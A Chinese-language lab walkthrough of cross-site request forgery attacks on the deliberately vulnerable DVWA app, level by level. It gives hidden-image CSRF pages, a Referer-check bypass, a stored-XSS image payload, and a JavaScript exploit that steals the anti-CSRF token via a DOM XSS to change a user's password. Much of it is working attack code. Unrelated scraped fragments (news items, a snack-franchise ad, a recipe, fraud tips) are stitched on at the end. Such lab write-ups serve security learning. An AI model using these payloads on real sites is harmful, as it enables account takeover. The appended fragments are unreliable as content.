本文的所有 *** 在以下DVWA版本测试通过:
Damn Vulnerable Web Application (DVWA) v1.10 Development
参考链接:
新手指南:DVWA-1.9全 等级教程之CSRF
Exploit DVWA Cross Site Request Forgery (CSRF) High
跨站请求伪造(CSRF)
跨站点请求防伪备忘单
CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS更大的区别就在于,CSRF并没有盗取cookie而是直接利用。
服务器在收到修改密码的请求后,判断两次输入的密码是否相同,如果相同,更改用户的密码,并提示密码已经修改。如果不同,提示两次输入的密码不匹配。
最基础的,构造链接:
http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=crack&password_conf=crack&Change=Change#
CSRF最关键的是利用受害者的cookie向服务器发送伪造请求
可以使用短链接来隐藏URL(点击短链接,会自动跳转到真实网站)
因为是本地搭建的环境,服务器域名是ip所以无法生成相应的短链接。实际攻击场景下,只要目标服务器的域名不是IP,是可以生成相应短链接的。
crack.html
<img src="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new= *** &password_conf= *** &Change=Change#" border="0" style="display:none;"/>
?
<h1>404</h1>
?
<h2>file not found.</h2>
受害者访问攻击者服务器上的攻击页面,表面上像是一个无效的url,实际上已经遭到CSRF攻击,密码被修改为攻击者指定的密码。
http://192.168.245.134/crack.html
攻击者可以通过XSS来触发CSRF攻击
触发 *** ,将攻击语句复制到XSS漏洞中,即可执行成功
攻击者chrome,受害者firefox
参考payload
<img src="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=viva&password_conf=viva&Change=Change" alt="over">
攻击者浏览器chrome,1337/charley
受害者浏览器firefox, admin/password
攻击者浏览器chrome,将payload插入存储型XSS的留言板中
受害者admin去访问存储型XSS留言板,payload中的img标签已经被解析了
经过测试,admin的密码被更改为了viva
函数说明
函数查找字符串在另一个字符串中之一次出现的位置(不区分大小写)。
参数 | 描述 |
---|---|
string | 必需。规定被搜索的字符串。 |
find | 必需。规定要查找的字符。 |
start | 可选。规定开始搜索的位置。 |
技术细节
返回值: | 返回字符串在另一字符串中首次出现的位置,如果没有找到字符串则返回FALSE。注:字符串位置从0开始,不是从1开始。 |
---|---|
来自 https://www.runoob.com/php/func-string-stripos.html
代码分析
<?php
?
?
if( isset( $_GET[ 'Change' ] ) ) {
?
echo "\$_SERVER[ 'HTTP_REFERER' ] is ".$_SERVER[ 'HTTP_REFERER' ];
?
echo "\$_SERVER[ 'SERVER_NAME' ] is ".$_SERVER[ 'SERVER_NAME' ];
?
echo stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]);
?
// 自己添加的打印语句,用来查看变量的值
?
// Checks to see where the request came from
?
//如果可以在HTTP头部的Referer字段中找到Host字段的内容,说明来自可信的源
?
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !==false ) {
?
// Get input
?
$pass_new=$_GET[ 'password_new' ];
?
$pass_conf=$_GET[ 'password_conf' ];
?
?
// Do the passwords match?
?
if( $pass_new==$pass_conf ) {
?
// They do!
?
$pass_new=((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
?
$pass_new=md5( $pass_new );
?
?
// Update the database,重置当前用户的密码
?
$insert="UPDATE `users` SET password='$pass_new' WHERE user='" . dvwaCurrentUser() . "';";
?
$result=mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res=mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
?
?
// Feedback for the user
?
$html .="<pre>Password Changed.</pre>";
?
}
?
else {
?
// Issue with passwords matching
?
$html .="<pre>Passwords did not match.</pre>";
?
}
?
}
?
//如果不能在HTTP头部的Referer字段中找到Host字段的内容,说明来自可信的不可信源,提示用户,请求似乎看起来不正确
?
else {
?
// Didn't come from a trusted source
?
$html .="<pre>That request didn't look correct.</pre>";
?
}
?
?
((is_null($___mysqli_res=mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
?
}
?
?
?>
用户正常修改密码的情况下,上面添加的打印语句的输出为
PHP中的就是HTTP请求头中字段的值。
PHP中的就是HTTP请求头中字段的值。
最后返回的7是Host字段的值在Referer字段中的位置,下标从0开始。
绕过 *** :
既然stripos是在HTTP头部的Referer字段的值中寻找Host字段首次出现的位置,已知host字段为127.0.0.1,只需要想办法让Referer字段的值也包含127.0.0.1即可
在攻击者的服务器上创建一个名为127.0.0.1.html的页面
<img src="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=phos&password_conf=phos&Change=Change#" border="0" display="none">
?
<h1>404</h1>
?
<h2>can not find file in this server.</h2>
受害者在浏览器中访问:
http://192.168.245.134/127.0.0.1.html
过程如下:
使得判断条件成立
进入修改密码的流程
也可验证,用户名密码被成功更改
Anti-CSRF token机制,用户每次访问该页面时,服务器都会返回一个随机的token(generateSessionToken();),向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
代码分析:
<?php
?
?
if( isset( $_GET[ 'Change' ] ) ) {
?
// Check Anti-CSRF token
?
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
?
?
// Get input
?
$pass_new=$_GET[ 'password_new' ];
?
$pass_conf=$_GET[ 'password_conf' ];
?
?
// Do the passwords match?
?
if( $pass_new==$pass_conf ) {
?
// They do!
?
$pass_new=((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
?
$pass_new=md5( $pass_new );
?
?
// Update the database
?
$insert="UPDATE `users` SET password='$pass_new' WHERE user='" . dvwaCurrentUser() . "';";
?
$result=mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res=mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
?
?
// Feedback for the user
?
echo "<pre>Password Changed.</pre>";
?
}
?
else {
?
// Issue with passwords matching
?
echo "<pre>Passwords did not match.</pre>";
?
}
?
?
((is_null($___mysqli_res=mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
?
}
?
?
// Generate Anti-CSRF token
?
generateSessionToken();
?
?
?>
同源策略是浏览器的一个安全功能,不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。
同源策略限制了从同一个源加载的文档或脚本如何与来自另一个源的资源进行交互。
这是一个用于隔离潜在恶意文件的重要安全机制。
受约束的对象:DOM、Cookie、第三方插件以及XMLHttpRequest都收到同源策略的约束
不受约束的对象:
页面中的链接,重定向,以及表单的提交是不会受到同源策略的限制的。
跨域资源的引入时可以的。但是js不能读写加载的内容。如嵌入到页面中的,,等带src属性的标签。
非同源受到的限制:
Cookie,LocalStorage和IndexDB无法读取。
DOM无法获得。
AJAX请求不能发送。
跨域的概念
受同源策略的影响,不是同源的脚本不能操作其他源下面的对象。想要操作另一个源下的对象就需要跨域
把不同域之间的请求数据的操作,称为跨域
以下是呈现的html代码,我们可以看到一个字段是"user_token"
所以,我们无法通过某些 *** 来利用此级别,例如嵌入源代码以欺骗用户进行查看。因为我们不知道这个token的值,我们不能猜测或者是暴力破解该值。
我的想法是利用另一个漏洞来利用此漏洞,以在客户端站点上执行命令来获取令牌并将其随每个请求传递。因此,我的目标是XSS漏洞,我使用XSS DOM加以利用。
查看导致XSS DOM的源代码。
<form name="XSS" method="GET">
?
<select name="default">
?
<script>
?
if (document.location.href.indexOf("default=") >=0) {
?
var lang=document.location.href.substring(document.location.href.indexOf("default=")+8);
?
document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>");
?
document.write("<option value='' disabled='disabled'>----</option>");
?
}
?
?
document.write("<option value='English'>English</option>");
?
document.write("<option value='French'>French</option>");
?
document.write("<option value='Spanish'>Spanish</option>");
?
document.write("<option value='German'>German</option>");
?
</script>
?
</select>
?
<input type="submit" value="Select" />
?
</form>
我们看到用于生成选择框的内容,此功能记录在HTML DOM write() Method
就像解释的一样, *** 将HTML表达式或者Javascript代码写入文档。因此,我们可以在其上嵌入javascript并执行它。
让我们检查服务端的处理参数的PHP代码
// Is there any input?
?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
?
?
\# White list the allowable languages
?
switch ($_GET['default']) {
?
case "French":
?
case "English":
?
case "German":
?
case "Spanish":
?
\# ok
?
break;
?
default:
?
header ("location: ?default=English");
?
exit;
?
}
?
}
尝试下面的参数
它起作用了。因为#之后的代码没有被发送到服务器导致服务器值看到了English。所以它绕过了服务端。但是客户端使用这个值去渲染内容导致javascript代码被执行。
渲染利用代码并成功执行后,我们可以在console中检查源代码
为了清楚的利用此漏洞,我创建了一个简单的javascript代码并将其放在文件中,然后将此文件放在客户端可以访问的位置(这里不能跨域)。
请将两处URL修改为DVWA服务器的地址
var theUrl='http://127.0.0.1/dvwa/vulnerabilities/csrf/';
var pass='2021';
if (window.XMLHttpRequest){
xmlhttp=new XMLHttpRequest();
}else{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.withCredentials=true;
var hacked=false;
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
var text=xmlhttp.responseText;
var regex=/user_token\' value\=\'(.*?)\' /\>/;
var match=text.match(regex);
var token=match[1];
var new_url='http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new='+pass+'&password_conf='+pass+'&Change=Change&user_token='+token+'#';
if(!hacked){
alert('Got token:' + match[1]);
hacked=true;
xmlhttp.open("GET", new_url, false );
xmlhttp.send(); ?
}
count++;
}
};
xmlhttp.open("GET", theUrl, false );
xmlhttp.send();
查看漏洞利用代码,有2个步骤使它起作用。之一步是从链接CSRF获取内容,第二步是解析token,然后将此令牌与参数password_new和password_conf关联。
所以,让我们再次尝试下面的参数
好的,我们成功的利用了它,我们将用户gordonb的密码改为了2021。(gordonb的初始密码为abc123)
在impossible级别中,将在High级别的内容上进行扩展,询问当前用户的密码。由于无法找到(只能靠猜测或者是暴力破解),因此这里没有攻击向量。
永远难忘“一条大河波浪宽”(纪念中国人民志愿军抗美援朝出国作战70周年) 天津市和平区一家养老院里,吴炯喜欢早上坐在院子里晒晒太阳。和她一起聊天的老人们大多不知道,这位年近九旬的老人,是电影...
甜蜜都会零食加盟项目在市场上的成长是我们各人有目共睹的,各人都想要通过加盟这个项目来实现本身的人生抱负的!甜蜜都会零食加盟项目在市场上创立多年,品牌形象早就已经深入到人心了,深受宽大消费者的喜爱与追捧...
该交易预计将在本季度完成,现已开始走交易流程和等待监管部门的审批。 目前Veracode在不同行业拥有超过2000名客户,其中包括近三分之一的财富100强企业,以及20多家福布斯最具品牌价值的客...
1、报警。需要说明的是,各地的报警电话都是110,不会是其他的号码。报警后,虽说挽回损失的希望不大,但还有万一的机会。2、长点心。以后别再上这。 及时报警。国家已经出台政策了,现在很多网上金钱交易,2...
酱驴肉用料驴肉1500克花椒10粒八角2个豆瓣酱2勺糖5克老冰糖10克生抽15克老抽10克料酒15克葱节2个干辣椒3个桂皮3块香叶4片姜片4片草果1个茴香粒3克蚝油1勺酱驴肉的做法驴肉冷水浸泡一小时!...
11月12日,以“共济·复新”为主题的第四届蓝鲸教育大会在北京召开。大会吸引了业内众多教育上市公司高管、明星教育机构掌舵人、资本机构管理者齐聚一堂,共同探讨“后疫情时代”,教育行业的应对与破局之道。在...